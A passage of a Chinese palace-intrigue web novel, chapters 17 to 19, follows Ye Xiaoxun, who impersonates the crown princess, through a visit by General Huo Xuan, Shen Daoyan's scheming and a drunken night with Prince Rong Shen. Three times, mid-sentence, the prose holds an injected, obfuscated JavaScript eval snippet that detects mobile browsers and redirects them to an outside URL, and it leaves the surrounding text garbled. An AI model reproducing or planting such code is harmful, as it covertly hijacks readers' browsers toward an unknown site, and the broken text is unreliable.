闻言,皇帝和霍宣皆是一惊,御书房内的空气瞬间紧绷。 “此话怎讲?霍爱卿方才不是说粮草已到吗?” 容慎从宽大的袖中取出一封早已准备好的奏折,双手呈上:“这折子乃是暗卫密报,父皇应当还没有过目。” “张青。” 张公公一甩拂尘,快步将折子取来,呈给皇帝。 皇帝展开折子,一行行看过去,握着折子的手开始微微颤抖,面色越来越灰白,最终化作一声怒喝: “岂有此理!没有朕的玉玺,户部怎敢如此行事?!” 容慎垂眸,声音平静却有力: “实则上个月,户部便借口国库吃紧,擅自将北塞十万大军的军饷从十万石缩减到了六万石。儿臣查账时及时发现端倪,为了不让边关将士寒心,也不想让此事在朝中引起恐慌,故而私自开了东宫的私库,填补了那四万石的亏空,这才补上了这个窟窿,让送往北塞的粮草分毫不差。” 霍宣在一旁听得虎目圆睁,看向容慎的眼神瞬间变了。 怪不得他觉得这次粮草送得虽及时,但押运的队伍似乎并非兵部的常规人马。 皇帝深吸一口气:“国库里的账可对得上?” “准确无误。” “未曾偷一谷一粟,却自作主张,缩减军饷……”皇帝眼中寒光一现。 “看来父皇和儿臣想到了同一个人。” 皇帝愤恨不语,良久,才像是脱力了一般,重重地靠回软榻上,闭上了浑浊的眼睛。 “此人势力盘根错节,早已渗透六部,非一朝一夕可以倾覆。” 他声音苍老而无奈,“朕在位时,也不知能不能看到将这皇朝的毒瘤连根拔起的那一天。” 霍宣此刻也彻底琢磨过来了。 他嫌恶地哼了一声,向皇帝抱拳,声如洪钟: “圣上乃大晟天子,万寿无疆,受天神庇佑!定能等到这一天。臣虽是一介武夫,但也知忠君爱国,必定鞠躬尽瘁,死而后已!定助陛下一臂之力!” 从勤政殿里退出来时,天色已彻底黑透了。 宫道两旁亮起了宫灯,拉长了两人一前一后的影子。 容慎和霍宣走在长长的宫道上,只有脚步声在回荡,两人一时半会谁也没有说话。 又拐了一道弯,眼看东宫的飞檐已在眼前,霍宣终于忍不住,停下脚步先开了口。 “殿下特意在御前以此事拖延时间,看来……婉儿的状况是非常不好了。” 霍宣是带兵的人,心思敏锐。容慎什么时候不说军饷的事,偏偏在他急着要去东宫的时候说,显然是为了拖住他的脚步,好让东宫那边做准备。 容慎停下脚步,转身面对霍宣,在夜色中显得格外清冷肃穆。 “岳父明鉴。” “你说吧,她到底什么病?”霍宣死死盯着他。 容慎沉默了片刻,才低声道:“是中毒。” “中毒?!” 霍宣听闻,怒目圆睁,一股煞气瞬间爆发出来,咬牙切齿道:“沈道衍这老匹夫!他动军饷也就罢了,居然敢对我女儿下手?!老夫定要他死无葬身之地!!” 他猛地转过身,眼刀子直直射向容慎,丝毫没有顾忌对方太子的身份: “还有你!殿下!若非皇命难违,臣根本就不愿意把女儿托付给你!宫中险恶,你地位尚不稳固,若是连自己的妻子都保护不了,日后还能保护得了这大晟的江山吗?!” 容慎垂在身侧的手微微收紧,没有反驳。 霍宣越说越气,胸口剧烈起伏: “臣不指望殿下对她万千宠爱,只求她能在宫中安度一生。可你连这都做不到,居然能让沈道衍的人伤到她!” 说着,霍宣抬腿就要往东宫冲。 容慎身形一闪,拦住了他的去路。 “岳父教训的是。是孤护卫不周。但眼下岳父也看出来了,沈贼一日不除,大晟朝永无安宁之日。” 霍宣重重地嗤了一声,不再看他,快步向前走去。 …… 此时,东宫寝殿内。 叶小寻还不知道外面已经变了天,正百无聊赖地在榻上赋闲。 这一个月来,她被迫过着大门不出二门不迈的日子,虽然锦衣玉食,但对于习惯了野蛮生长的她来说,实在是累得慌。 “原来宫里贵人们的生活也不是那么舒坦啊,跟坐牢似的。” 她叹了口气,从怀里摸出叶片儿给她的那枚玉佩。 灯火下,这玉佩温润剔透,雕工精细,成色极好,显然不是凡品,更像是富贵人家的传家之物。 她手指摩挲着玉佩上的纹路,脑子里突然冒出那么一点点不切实际的幻想: 这真的是她被遗弃时落在身上的吗? 难道……她没准也是个富贵人家走丢的小姐? 她听祝凝说过,大晟朝的皇室为了防止外戚专权,大多数贵族子弟其实会去和民间的清流人家、甚至是富商通婚。亲家的三族以内也不会允许做高官。 这些日子偶尔听祝凝给她说些天家趣闻,她才知道了,容慎和霍家的联姻才是特例,纯粹是为了抗衡沈道衍。 “如果……我是说如果啊。” 叶小寻对着空气喃喃自语,“如果没有沈道衍这个老贼搞事情,如果大晟朝天下太平,如果我当时没有走丢,我也是个富贵人家或者书香世家里的闺阁小姐……” 她脑海中浮现出容慎那张清冷俊美的脸,心跳莫名漏了一拍。 念头刚起,她猛地打了个激灵。 “呸呸呸呸呸!叶小寻,你在想什么呢?!” 她猛地坐直身子,懊恼地拍了拍自己的脸颊,“你还真当自己是这东宫的主子了?痴心妄想!你还想以你的真实身份当这个太子妃不成?” 她狠狠左右开弓,给了自己脸颊两下轻拍,试图把自己拍醒。 “清醒点!” 她有些心烦地挠了挠头发,结果手指被繁复的珠翠头饰给勾住了,扯得头皮生疼。 心中愈发郁结。 “我最近这是怎么了?”叶小寻有些丧气地垂下头,“自从得了这块玉佩,老觉得自己应该是什么富贵命。这样不好,叶小寻,你一定不能忘记叶片儿和叶根儿。” 她在心里默默告诫自己:“如果不是他们俩捡到你,你早就饿死在哪个阴沟里了。做人最重要的就是讲义气,还要懂得感恩!你一定不能辜负他们,你要给他们养老送终,不然他们也没个一儿半女的,等老了怎么办?” 她好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132725|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在心里给自己打足了气,终于释怀地长长一叹。 把弄玉佩的那点旖旎心思也淡了不少,她刚准备将玉佩收好,就见祝凝神色匆匆地推门进来,连礼都忘了行。 “娘娘!快准备一下,镇国公来了!殿下陪着一道来的,已经进二门了!” 叶小寻一时脑子没转过弯来,还在悠哉游哉地把玉佩往怀里塞:“镇国公?谁呀?我不认识啊。” 祝凝急得直跺脚:“娘娘您忘了?是太子妃霍清婉的父亲!镇国大将军霍宣!” “什么?!” 叶小寻像只被踩了尾巴的猫,整个人直接从榻上弹了起来。 “霍清婉的父亲……那就是太子妃的亲爹?!也就是说,我……我爹来看我了?!” 她不敢置信地又确认了一遍,声音都抖了:“是……是来看我的吗?” 祝凝有些莫名地看了她一眼:“自然是来看您的。娘娘,快,容奴婢给您把这些繁复的发簪拆了,先躺下歇着吧。” “这能睡好吗?老天爷呐!” 叶小寻在原地转起了圈,冷汗瞬间就下来了,“亲生父亲怎么会认不出自己的女儿呢?那就是一眼的事儿啊!我就算不给他看脸,一开口肯定全露馅了!他一定知道我不是他女儿,到时候我就没命了!” 她脑海里没来由地浮现出一个杀人如麻的猛将形象。 “大将军……大将军杀起人来肯定也很果断吧?会不会直接把我咔嚓了?” 她一把推开祝凝,魂不守舍地自己动手,胡乱地拔着头上的簪子,发丝被扯得凌乱不堪也顾不上。 “我就要死了……祝凝,我要是死了,你记得替我把土埋严实一点,就算是夏天了,晚上的风也是很冷的……” 她如梦呓一般,一边碎碎念,一边飘飘然地钻进了被窝,拉过被子盖住头,一副英勇就义的表情。 祝凝跟在她身后看了半天,终于忍不住扑哧一声笑了出来。 叶小寻猛地掀开被角,露出一只眼睛,悲愤道:“你笑什么?看我倒霉就这么有意思吗?我都快吓病了!” 祝凝好说歹说,强行将她从被子里捞出来,替她理顺乱糟糟的头发: “我的好娘娘,您在慌什么呢?把奴婢都整糊涂了。镇国公来探望您,确实是得了陛下的恩准的,可这见或不见的,娘娘多虑了。” 闻言,叶小寻眨巴着眼睛:“哦?此话怎讲?” 祝凝轻笑着,将被子给她掖好,耐心解释道: “这宫里有宫里的规矩。就算镇国公是太子妃的生父,但他如今也是外臣。君臣有别,男女有防。他进了这寝殿,那是臣子觐见太子妃,是要隔着帘子给娘娘行大礼的!更遑论要掀开帘子来看娘娘您的脸了,那可是大不敬的重罪!” 祝凝拍了拍她的手背安抚道:“放心吧,他绝对不会见到你的脸,太子殿下在一旁看着呢,娘娘您就只管躺着装睡,不用这么害怕。” 叶小寻愣了半晌,脑子终于转过弯来了。 “什么?我爹……不是,那个大将军要给我行礼呀?” 她脸上露出一种既荒谬又如释重负的表情,尴尬地挠了挠头:“这……这样不太好吧?会不会折寿啊?啊……当然他不是我亲爹就是了……” 听了祝凝的解释,叶小寻觉得自己的命算是捡回来了。 她干笑两声,掀开被子就要往床下蹭: “那什么……既然不用死,我这……我这也得准备准备,总不能真躺着让人家磕头吧?怪不好意思的……” “我的祖宗哎,您就躺好吧!”祝凝哭笑不得地把她按回去,“脚步声都到门口了!” 18. 第 18 章 真躺下了,叶小寻反而更觉不安。 锦被软滑,熏着上好的安神香,可她却觉得身下像是铺满了细密的针毡,怎么躺都不对劲。 她翻了个身,没来由地一阵心烦意乱,下意识地习惯性伸手去摸那一丝冰凉温润的慰藉。 指尖触到的却是一片温热的肌肤和柔软的中衣。 空空如也。 玉佩!玉佩不见了! 她猛地坐起身,冷汗瞬间浸透了后背。 脑海中飞快地回溯着之前的每一个画面,这才惊觉,方才她趴在榻上做着那不切实际的富贵梦时,顺手将那玉佩放在了外殿的红木圆桌上。 后来祝凝急匆匆地进来通报镇国公到了,她吓得魂飞魄散,竟将那玉佩落在了外头! 叶小寻的心脏仿佛骤停了一瞬,连呼吸都忘了。 但很快,她又强迫自己冷静下来,深深吸了几口带着凉意的空气。 “冷静,叶小寻,冷静。”她在心里默念,“那玉佩虽不知是谁家的信物,但天下玉佩何其多,样式相似的也不在少数。就算旁人看见了,也不见得就能认出来。太大惊小怪,反而会引人注目,都是自己吓自己……” 她这边正拼命给自己做着心理建设,试图压下那股即将喷涌而出的恐慌,却听外头传来一阵沉稳有力的脚步声。 那脚步声极重,每一步落下都似乎带着金戈铁马的回响,即便是刻意放轻了,也掩盖不住那种常年征战沙场带来的压迫感。 胡思乱想间,霍宣已经行至殿外。 脚步声在院中停住了。 叶小寻屏住呼吸,死死盯着那扇将内外隔绝的雕花木门,仿佛能透过那层薄薄的窗纸,看到那个高大魁梧的身影。 紧接着,一个浑厚略带沙哑的声音隔着门窗传了进来: “老臣霍宣,给太子妃娘娘请安。” 祝凝是个机灵的,早已候在门外。见状连忙福身行礼,声音清脆得体。 “奴婢祝凝,参见镇国公。娘娘方才服了药,这会儿刚有些困意,正歇着呢。大将军若是有什么话,奴婢代为转达便是。” 霍宣站在院中,一身戎装未卸,寒风卷起他的披风猎猎作响。他并未因祝凝的阻拦而动怒,反倒是更加关切地向前探了探身子,状似无意地多问了几句。 “听闻娘娘中毒了?这消息来得突然,老臣心里实在放心不下。不知究竟是中了何种毒?太医怎么说?可有……生命危险?” 这一连串的发问,语速极快,声音也微微颤抖,哪里还有半点大将军的威严。 祝凝也不疑有他,便按照对所有人的统一说法复述了一遍。 “回大将军的话,娘娘确是不慎中了毒。不过殿下早已请了太医正来看过,毒性如今已经控制住了,并无性命之忧。只是……” 祝凝顿了顿,语气中带了几分惋惜,“只是这毒性霸道,致使娘娘面容受损,如今还在恢复期,见不得风,也不便见人。太医院用药极是谨慎,用的都是些千金难求的名贵药材。太医正也说了,假以时日,娘娘的肌肤定能恢复如初,白玉无瑕,大将军只管放宽心便是。” 祝凝这话本意是想宽慰霍宣,可谁知,这番话落在霍宣耳中,却无异于晴天霹雳。 “什么?面容受损?!” 霍宣失声惊呼,声音陡然拔高了几度。 他方才只听容慎说女儿中毒,以为只是身体虚弱,哪里想过竟还毁了容? 此毒必非凡物! 一念及此,霍宣一直紧绷的那根弦彻底断了。 “让开,老夫要见见自己的女儿!” 霍宣大喝一声,再也顾不得什么君臣之礼,抬脚便要往殿内闯。 “大将军不可!大将军!” 祝凝大惊失色,慌忙张开双臂想要拦他。 叶小寻躲在里间的屏风后,听着外面陡然混乱的动静,整个人如坠冰窟,彻底傻了。 她死死捂住自己的嘴巴,连大气都不敢喘,心脏狂跳如雷,仿佛下一秒就要撞破胸膛跳出来。 然而,就在那沉重的脚步声即将踏入外殿门槛的那一刻,却突然毫无征兆地止住了。 没有预想中的破门而入,没有预想中的怒喝质问。 那寂静突如其来,甚至比方才的喧闹更让人心惊肉跳。 叶小寻缩在屏风后,冷汗顺着额角滑落,滴在手背上,冰凉刺骨。 她瞪大了眼睛,竖起耳朵,试图捕捉外面的一丝一毫动静。 她甚至能听到那一头霍宣突然变得粗重且急促的呼吸声,在寂静的夜里显得格外清晰。 时间仿佛在这一刻凝固了。每一息都像是过了一年那么漫长。 良久,那一双沉重的军靴终于动了。 发出一声轻响,那是鞋底摩擦地面的声音。 就在叶小寻以为他下一秒就要冲进来时,霍宣却做了一个奇怪的动作。 是一声极轻极压抑的叹息。 然后,脚步声再次响起,霍宣后退了两步,正对着那扇紧闭的雕花木门,对着那道隔绝了视线的屏风,深深地弯下腰去,行了一个大礼。 他的声音沙哑得厉害,仿佛喉咙里含着沙砾。 “娘娘……既是身子不适,那便好生歇着。” “只要娘娘安好……老臣便放心了。” “老臣……告退。” 说完这最后四个字,那脚步声略显踉跄地转身离去,渐行渐远。 叶小寻一直紧绷着的身体骤然一松,像是被抽走了所有的力气,整个人瘫软在地。 她手脚并用地爬到窗边的榻上,悄悄推开一条缝隙看过去。 只见那个魁梧高大的背影,此刻竟显得有些佝偻,仿佛在一瞬间苍老了十岁。 那一身原本威风凛凛的铠甲,此刻在月光下泛着清冷的光,透出一股说不出的萧索与落寞。 叶小寻瘫坐在地,一脸茫然,怔愣当场。 这就……走了? 不一会儿,祝凝送走了大将军,轻手轻脚地回到里间来伺候。 一进门,就见自家娘娘毫无形象地坐在地上发呆。 “娘娘?地上凉,快起来。”祝凝连忙上前扶她。 叶小寻一把反抓住祝凝的手腕,语气急切。 “祝凝,方才在外面到底发生了什么?我已经觉得镇国公马上就要闯进来了,那架势都要吃人了,怎么突然又不进了呢?” 祝凝也是一脸的困惑,绞尽脑汁思索了片刻,最终无奈地摇了摇头。 “奴婢也不知啊。刚刚奴婢也急得不行,拼了命想拦,可哪里拦得住?眼看着大将军一只脚都跨进门槛了,却突然整个人僵在了那里。” 祝凝回忆着当时的场景,眉头微蹙,“奴婢当时没敢仔细看。但是总感觉将军是突然就顿住了,也不知道是不是看到了什么东西,脸色一下子变得特别奇怪。” 叶小寻闻言,心头猛地一跳。 …… 同一片夜色下,城西的沈府,今夜也注定无法安宁。 书房内灯火通明,却透着一股阴森的寒意。 平日里总是衣冠楚楚的门下省左谏议大夫钱安,此刻却像是一条丧家之犬。 他一身破烂的乞丐装扮,脸上涂满了黑灰,头发蓬乱,瑟缩地跪在地上。 沈道衍端坐在上首的太师椅上,手里捧着一盏精致的定窑白瓷茶盏,正浅浅啜着今岁新贡的西湖龙井。 茶香袅袅,却掩不住屋内那一股令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132726|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人窒息的压抑。 他放下茶盏,瓷盖轻轻磕碰杯沿,发出清脆的声响,在这死寂的房间里显得格外刺耳。 沈道衍抬起眼皮,目光凉凉地扫过跪在地上的钱安,慢条斯理地开了口。 “钱大人,您现在已经被圣上禁足了,按理说,是不该出现在本官这儿的。若是被人瞧见了,岂不是要说您公然抗旨,还要参本官结党营私?” 钱安闻言,身子猛地一抖,膝行两步上前,痛哭流涕。 “相爷!沈大人救命啊!下官……下官也是没办法啊!” 他抬起那张脏兮兮的脸,眼中满是惊恐。 “下官明明是按照您的吩咐办事,一切都安排得妥妥当当,怎么会变成这样呢?上个月的军饷,下官亲自去户部核对过,国库那边确确实实只批了六万石啊!那剩下的四万石缺口明明还在,怎么到了边塞大营,凭空就能多出四万石?” 钱安到现在都想不明白,到底是哪个环节出了错。 沈道衍冷眼看着他这副狼狈模样,心中涌起一股厌恶。 蠢货。 成事不足,败事有余的蠢货。 但他面上却不动声色,甚至还露出一丝看似温和的笑意,像是一只修炼成精的老狐狸。 钱安这次是自己撞在了枪口上,当众被霍宣揭穿,已经是身败名裂,再无翻身可能。 就算他现在想要反水,把他沈道衍供出去,圣上和满朝文武也不会信一个欺君罔上的罪臣,反而是他自己会死得更快。 沈道衍只有不咸不淡地安慰了几句。 “钱大人莫慌。此事虽有蹊跷,但未必没有转机。你且安心在府中待着,本官自会想办法替你周旋。” 钱安也是在官场摸爬滚打多年的,怎么会听不出沈道衍这是在打太极,想要卸磨杀驴啊! 他心中一寒,求生的本能让他顾不得许多,立马开始表忠心。 “相爷!相爷您可不能不管下官啊!下官对您那是一片赤胆忠心,日月可鉴!您想想,刘大福已经没了,您的左膀右臂已折其一。若是下官再……再有个三长两短,朝中若再没个能信得过的人替您办事,大人您日后只会处处掣肘,孤立无援啊!” 这话一出,屋内的空气瞬间凝固了。 哪壶不开提哪壶。 折了刘大福,断了万贯家财,这本就是沈道衍心中最大的痛处,也是让他元气大伤的根源。 如今被钱安这么赤裸裸地提出来,无异于是在伤口上撒盐。 沈道衍那双原本波澜不惊的眸子瞬间眯了起来,眼底闪过一丝冰冷的杀意。 他缓缓放下手中的茶盏,起身,一步一步朝钱安走去。 钱安看着逼近的沈道衍,吓得浑身哆嗦,牙齿打颤。 “相……相爷……” 这种久居上位者特有的惊人威压,如同一座大山般压下来,压得钱安喘不过气,只想下跪磕头饶命。 他感觉自己现在在沈道衍的眼里,连最卑微的老鼠都不如,随时都可能被一脚踩死。 沈道衍走到他面前,却并未发作。 他竟俯下身,伸出一双保养得宜的手,亲自将浑身脏污的钱安扶了起来。 “钱大人这是说的哪里话。” 沈道衍脸上挂着那种令人毛骨悚然的微笑,甚至还替钱安拍了拍肩头的灰尘。 “钱大人说得在理。你我是一条船上的人,本官岂会坐视不管?你放心,本官必定为你奔走,赴汤蹈火,在所不惜。只不过还要委屈钱大人在家里好生关着禁闭。外面的风风雨雨,本官替你挡着。只要你……管好自己的嘴。” 钱安身子僵硬,冷汗如雨下。 “是……是……下官明白,下官明白。” 19. 第 19 章 叶小寻这一觉,竟一直睡到了金乌西坠。 梦做得极长,她睡得沉,却不踏实,仿佛整个人被困在了一团迷雾之中,想醒也醒不过来。 梦里,她看见了一身红衣似火的霍清婉。 那个本该已逝的女子,正伫立在一顶八抬大轿旁,那轿子极尽奢华,四角垂着流苏,红绸漫天。 霍清婉静静地站在那儿,冲她微微招手。 叶小寻虽然心中困惑,却还是不由自主地跟了上去。 “我知道那晚吓着你了,但那并非我本意。”霍清婉的声音温温柔柔的,透着一股子大家闺秀的从容。 叶小寻不好意思地挠挠头:“不打紧,是我乱闯你的喜房来着,怪不得你。” 她仔细打量着眼前的女子。 霍清婉出身将门,比起哥哥霍清珏,她似乎更像父亲霍宣。 眉宇间英气十足,五官端正大气。 明明是美艳动人的皮相,可因着这一身刚毅的气质,竟如同一位即将出征的巾帼英雄。 叶小寻心中暗想:若是她还活着,若是不嫁给容慎,她将来会不会也和她父亲一样,披甲执锐,为大晟朝戍守边疆? 霍清婉仿佛能读懂她的想法,她柔柔地笑了,原本清冷的五官瞬间生动起来。 “你想得没错。”霍清婉轻声道,“我自幼习武,父亲曾答应过,若我年过二十依然没有看得上的夫家,且还志在远方的话,便允我随行去塞北。” 她调皮地眨了眨眼,那一瞬间的鲜活令人心折:“至于这京城的朝堂纷争,有我哥一人斡旋便足够了。” 叶小寻见瞒不过她,索性把自己所想都问了出来: “可是……你还是嫁给容慎了啊。” “我们还未拜天地,我就死了。”霍清婉眼神平静,“所以,我也不算真的嫁给了他吧。” 她转过头,看着叶小寻,目光中带着几分深意:“真正嫁给他的人,是你啊。” 叶小寻摸了摸鼻子,有些心虚地小声嘀咕:“其实那天太乱了,我们也没拜堂呢。而且……他把成嬷嬷杀了……但那是因为……” 霍清婉端坐在轿中,轻轻点头:“我知道。如此,他也算替我报了仇。父亲若知晓个中因果,会体谅他几分的。” “我以为你会怪他杀了霍家老奴,不给你父亲面子。” “霍家家训严格,我和哥哥亦被教养得性情刚烈。有冤报冤,有仇报仇。有恩,自然也要报恩。”霍清婉语气坚定,“这么多年我们对家中奴仆向来善待,成嬷嬷却以怨报德,背主求荣。若最先发现我尸体的是我父亲,他也同样会要成嬷嬷以命换命。” 提及此,叶小寻垂下头,语气有些低落:“你父亲若知道了真相,该有多伤心啊。前些日子他听说你中毒了,可着急了。” 霍清婉淡淡一笑,笑容中带着几分释然:“他也是你父亲了。你从此多了父亲,多了哥哥,不好吗?” 叶小寻听得懵懵懂懂,正想再问,却感到花轿突然停了下来。 四周的迷雾开始消散。 “接下来的路,你不能同我一起走了。你下去吧。”霍清婉淡淡道。 “为什么?我还想多和你说说话呢,我之前还想去给你上柱香……” “还不是时候。”霍清婉摇了摇头,“你还得替我活下去,替我去当这个太子妃。” 她伸出手,轻轻拍了拍叶小寻的手背,语带歉意:“委屈你了。但放心,以容慎的能力,不会让你委屈太久的。” 那触感凉凉的,叶小寻却丝毫不觉得害怕。 叶小寻毫无征兆地醒了过来。 心里空落落的,像是丢了什么重要的东西,那种怅然若失的感觉久久挥之不去。 这几日她的作息全都被打乱了,总是坐着坐着就犯困,每次醒来都不知道今夕何夕,那刻漏完全成了摆设。 朦朦胧胧间,她听到外间有人在压低声音说话。 “怎么最近这么嗜睡?药都检查过了?”是容慎的声音,带着几分不易察觉的焦躁。 “回殿下的话,老臣不放心旁人,每一贴药都是亲自煎的。您也知道,这里头大多是一些温补的方子。”太医正的声音有些惶恐,“娘娘本身气血两虚,底子有些薄,这些药除了补补气血,并无那种让人昏睡的副作用啊。” “会不会是两副药同煎的时候弄混了?” “殿下说笑了,那两副药味道大相径庭。娘娘喝的一直是加了甘草的那帖甜药,若是喝错了那副苦的,怕是早就嚷嚷起来了。” 容慎轻笑一声,语气里带着几分无奈:“也是,孤也发现了,她确实不太能吃苦。” 叶小寻闭着眼,眉头忍不住皱了起来。 这人怎么趁她睡觉说她坏话呢?他什么时候见她不能吃苦了?她以前在江湖上也是摸爬滚打过来的好吗? 正腹诽着,眉心突然一温。 有人伸出手指,轻轻抚平了她眉间蹙起的褶皱。 那指尖微凉,动作却极尽温柔。 叶小寻觉得心里一暖,那股困意再次袭来,又昏昏沉沉地睡了过去。 再醒来时,已是神清气爽。 祝凝正坐在床边的脚踏上守夜,脑袋一点一点地打着盹。 一听见叶小寻翻身的动静,立马惊醒过来。 “娘娘,您醒了?可是口渴了?奴婢这就去沏茶。” 叶小寻张了张嘴,确实觉得喉咙干涩得冒烟。她点点头,在祝凝回来之前,自己撑着身子坐了起来。 “娘娘小心,有什么事儿唤奴婢来就好。”祝凝连忙放下茶盏,手脚麻利地给叶小寻身后塞了个软枕。 “不碍事。” “娘娘,身上可还有哪儿不适?您是不知道,您这就跟中了邪似的,昏昏沉沉睡了两天两夜了,可给殿下急坏了。” 叶小寻正就着祝凝的手喝水,闻言动作一顿,耳朵竖了起来: “急坏了?他急坏了是什么表情啊?” “娘娘!”看叶小寻没个正经样,祝凝急得直跺脚,“您看您,都什么时候了……对了,奴婢得赶紧去通知太医正来瞧瞧,殿下特意吩咐过的,您一醒就得传太医。” 叶小寻还捧着茶盏没喝够呢,祝凝突然把茶杯一撤,一溜烟就跑没影了。 “哎——倒是把茶杯留给我呀……” 已是酷暑时节,没水可不行。 叶小寻只好自己下床去寻,掀开茶壶盖子才发现,祝凝贴心地替她把茶水放在冰鉴里镇着呢。 她也不讲究什么仪态了,捧起茶壶连灌了几大口,这才发出餍足的喟叹。 待在寝殿里面闷久了也不好,叶小寻左思右想,决定去外头透透气。 祝凝还没回,沿途的宫人们见她出来也不敢拦着,规规矩矩地行礼后便退到一旁,不敢打扰。 难得清净。 她溜达到御花园的凉亭里,没成想躺在藤椅上吹着小风,又打了一会儿盹。 这一次睡得酣甜无比。 梦里没有容慎,也没有霍清婉,她竟然睡在了一堆金银珠宝山上。 那金锭子银元宝冰凉的质感成了最好的解暑利器,她开心地在财宝堆里打着滚,结果一个没留神,直接从藤椅上滚到了地上。 “哎哟喂,我的老腰……” 叶小寻揉着腰从地上爬起来,一抬头,就对上两双目瞪口呆的眼睛。 祝凝领着太医正站在凉亭外,看着自家娘娘灰头土脸地从地上爬起来,发髻也歪了,裙摆上也沾了灰,简直没眼看。 “娘娘……您,您……”祝凝脸都红了,迅速福身,“奴婢去取帷帽!” 说完,忙不迭往殿里跑去。 太医正也似惊魂未定,不放心地四周张望了一番。 “对不住,对不住,困得很,一时没注意。”叶小寻尴尬地笑了笑,胡乱拍了拍裙上的灰,不自在地坐回藤椅上。 她也心虚地四下望了望,好在当值的小宫女们都极有规矩地守在远处,被外人偷看到的概率不大。 太医正犹豫再三,还是行了个礼,语重心长道:“娘娘,殿下和您在宫中如履薄冰,凡事还是谨慎为妙。” “刘大人教训得是,教训得是。”叶小寻虚心受教。 她也知道自己这样不稳妥,但着实抵不住那股突如其来的困意。 祝凝此时也气喘吁吁地回来了,将帷帽和面纱给叶小寻戴好,这才让太医正请脉。 太医正凝神静气,仔细悬脉许久,眉头越锁越紧,最后却只道: “娘娘脉象平稳有力,的确不像有伤病的样子。这嗜睡之症……着实有些蹊跷。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132727|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶小寻收回手,笑眯眯道:“我也觉得我没啥毛病,就是最近事情一件接一件,心里压力大了些哈……你看现在睡也睡饱了,应该没什么大碍了。” 太医正沉吟片刻,方道:“既然如此,微臣便给娘娘调一下方子,开些解暑清心的药膳吧。” 也许是白天睡多了,到了晚上,叶小寻着实睡不着了。 她直接精神到了大半夜,啥也没干,光在凉亭里对着月亮吃葡萄了。 “我从小到大,还没吃过这么好吃的东西。” 叶小寻吃得津津有味。祝凝怕她吃快了噎着,时不时帮她拍拍背顺气。 “这葡萄啊,我之前听宫人们说起,贵妃娘娘特别喜欢配上西域进贡的甘露酒一起食用,说是更有风味。要不咱们也尝尝?” 祝凝皱起眉头:“娘娘怎么寻思着喝上酒了?若是殿下知道了……” 身后突然传来一个清冷的声音:“无妨,去取甘露酒来。” “奴婢给殿下请安。”祝凝一听是容慎,头也没抬,跪得很熟练。 叶小寻看得啧啧称奇。 她连皮带肉将一颗葡萄整个扔进嘴里,嚼吧嚼吧吞下去,含糊不清地催促道:“你听你听,做主的都同意了!快去快去!” 祝凝无奈,只得从命,走前还不忘极有眼色地挥退了四周当值的小宫女们。 容慎撩起衣摆,在她对面坐下。 “也不知你酒量深浅,可别醉了在东宫里撒泼。” 叶小寻眨眨眼睛,一脸不服气:“怎么会?我可是千杯不醉!” 然而,一个时辰还没过呢。 “你的眼睛怎么这么圆啊……这样看着,也不像平时那么凶了。” 叶小寻双颊酡红,眼神迷离,毫无形象地趴在石桌上,打了个带着酒气的嗝儿。 容慎不语,只是一味低头饮酒,姿态优雅得仿佛入画。 甘露酒虽入口纯甜,少有烈酒的辛辣,可后劲极大。 叶小寻这种半吊子哪里扛得住,早就分不清东南西北了。 “我真羡慕你啊,”叶小寻嘟嘟囔囔着,又伸手摘了三四颗葡萄塞进嘴里,“生在天家,含着金汤匙出生。有这么多好吃的,好喝的,想吃什么就有什么。” 她醉眼朦胧地往容慎身上瞄,趁其不备,手指头不老实地往他胸前那金线绣制的蟠龙纹上一划: “穿得还这么贵……嗝。” 容慎一把攥住她乱动的手,指尖微凉,制止了她的下一步动作。 “不用羡慕我。”他的声音在夜色中显得格外寂寥。 叶小寻歪歪脑袋,努力想要看清他的脸:“为什么啊?你不开心吗?” 她凑近了些,鼻尖几乎要碰到他的鼻尖。 “你好像……真的很不开心。认识你这么久,我都没怎么见你笑过。你为什么不开心啊?这么富贵,还有什么烦恼啊?” 容慎垂着眸子看她,月光映在他眼底,却照不亮那深处的幽暗: “那你呢?你有什么烦恼?” 叶小寻乐了,想也不想便道:“我的烦恼当然是——没钱啊!” 容慎抬头,望向夜空。今晚月光亮堂得很,将满天星辉都衬得暗淡无光。 “对了,太子爷,说起这个。” 叶小寻又往嘴里塞了几颗葡萄,费了老大劲才吞下去,却还惦记着正事: “我现在可是在给你上刀山下火海呢,没有功劳也有苦劳,您说对吧?” 她凑过去,脸上堆起谄媚的笑,像朵刚开的小花。 容慎挑眉,等她继续说。 